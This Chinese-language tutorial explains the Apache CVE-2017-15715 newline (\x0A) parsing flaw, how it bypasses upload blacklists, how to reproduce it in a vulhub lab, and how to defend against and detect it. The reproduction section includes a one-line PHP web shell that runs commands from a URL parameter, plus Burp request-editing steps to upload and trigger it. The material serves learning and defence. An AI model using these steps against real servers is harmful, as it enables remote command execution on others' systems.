1. Apache换行解析漏洞初探第一次听说Apache换行解析漏洞时我正坐在工位上调试一个文件上传功能。同事突然跑过来问我你知道在文件名后面加个换行符就能绕过黑名单过滤吗我当时的第一反应是这怎么可能但事实证明这个看似不可思议的操作在特定版本的Apache服务器上确实可行。这个漏洞的官方编号是CVE-2017-15715影响Apache HTTPD 2.4.0到2.4.29版本。简单来说它允许攻击者通过在文件名末尾添加换行符十六进制表示为\x0A来绕过服务器的安全策略让原本应该被拦截的PHP文件成功上传并执行。举个例子假设服务器配置了黑名单阻止.php文件上传但如果你上传一个名为shell.php\x0A的文件这里的\x0A代表换行符Apache会把它当作合法的PHP文件来解析。这种特性源于Apache处理文件后缀时的一个特殊机制我们稍后会详细解释。2. 漏洞原理深度剖析2.1 正则表达式匹配的陷阱要理解这个漏洞我们需要先了解Apache是如何识别PHP文件的。在Apache的配置文件中通常会看到这样的配置FilesMatch .\.ph(ar|p|tml)$ SetHandler application/x-httpd-php /FilesMatch这段配置使用正则表达式来匹配PHP文件后缀。关键点在于结尾的$符号——在正则表达式中它表示字符串的结束位置。但这里有个容易被忽视的特性如果设置了多行模式Multiline$不仅匹配字符串结尾还会匹配换行符\n即\x0A。Apache的匹配逻辑正好使用了这种多行模式。所以当上传shell.php\x0A时服务器看到文件名以.php开头$匹配到了后面的换行符整个文件被识别为合法的PHP文件2.2 黑名单绕过的关键很多开发者会使用黑名单来过滤上传文件检查文件后缀是否在禁止列表中如.php、.php5等。但检查逻辑通常是这样的$ext pathinfo($filename, PATHINFO_EXTENSION); if(in_array($ext, [php, php3, php4, php5])){ die(危险文件); }问题在于pathinfo()函数会自动去掉文件名末尾的换行符。所以上传shell.php\x0A时pathinfo()返回的扩展名是php但Apache解析时看到的完整文件名包含\x0A黑名单检查通过文件却被当作PHP执行3. 漏洞复现实战3.1 环境搭建为了复现这个漏洞我使用了Docker快速搭建环境# 拉取漏洞环境 git clone https://github.com/vulhub/vulhub.git cd vulhub/httpd/CVE-2017-15715 # 启动容器 docker-compose up -d这个环境模拟了一个简单的文件上传功能配置了黑名单过滤PHP文件。访问http://your-ip:8080会看到一个空白页面因为需要手动构造上传表单。3.2 构造恶意文件创建一个包含PHP代码的文件比如shell.php内容为?php system($_GET[cmd]); ?然后我们需要在文件名后添加换行符。在Linux下可以直接使用# 创建带换行符的文件名 mv shell.php $shell.php\x0A3.3 上传并利用漏洞使用Burp Suite拦截上传请求正常上传shell.php会被拦截修改文件名部分在Hex视图中找到.php后面的空格20将20改为0A换行符发送修改后的请求成功上传后访问http://your-ip:8080/shell.php%0A?cmdid就能看到命令执行结果了。4. 漏洞防御方案4.1 官方修复方案最彻底的解决方案是升级Apache到2.4.30及以上版本。新版本中Apache修改了正则匹配逻辑确保$严格匹配字符串结尾不再匹配换行符。4.2 临时缓解措施如果暂时无法升级可以采用以下方法修改配置文件FilesMatch .\.ph(ar|p|tml)$ SetHandler application/x-httpd-php /FilesMatch改为FilesMatch .\.ph(ar|p|tml)$ SetHandler application/x-httpd-php /FilesMatch FilesMatch .\.ph(ar|p|tml)\x0A$ Deny from all /FilesMatch严格处理上传文件名// 去除所有非打印字符 $filename preg_replace(/[^\x20-\x7E]/, , $filename); // 使用白名单而非黑名单 $allowed [jpg, png, gif]; if(!in_array(strtolower(pathinfo($filename, PATHINFO_EXTENSION)), $allowed)){ die(不允许的文件类型); }禁用上传目录的PHP执行Directory /var/www/uploads php_flag engine off /Directory5. 开发者注意事项在实际开发中我遇到过几次因为文件上传导致的漏洞。除了这个换行符问题还有几点经验值得分享永远不要信任用户输入包括文件名、文件内容、HTTP头等所有客户端提供的数据都需要严格验证。使用随机文件名上传后重命名文件为随机字符串如UUID避免特殊字符导致的问题。设置正确的文件权限上传目录应该设置为不可执行文件权限设置为644。定期安全审计使用工具扫描代码中的潜在漏洞特别是文件操作相关函数。记得有一次项目上线前做安全测试时测试人员用这个漏洞成功上传了PHP文件。当时我们的过滤逻辑已经很严格了但就是没考虑到换行符这种情况。这件事让我深刻认识到安全防护必须考虑各种边界情况。6. 运维人员检查清单作为运维人员建议定期检查以下内容版本检查httpd -v确认Apache版本是否在受影响范围内2.4.0-2.4.29配置检查 检查所有FilesMatch指令确保没有使用可能被绕过的正则表达式文件上传监控# 监控上传目录中的异常文件 find /var/www/uploads -name *php* -o -name *\n*日志分析# 检查访问日志中的可疑请求 grep %0A /var/log/apache2/access.log在实际运维中我习惯为每个上传功能单独配置目录和权限而不是使用统一的uploads目录。这样即使某个功能出现漏洞也能将影响范围控制在最小。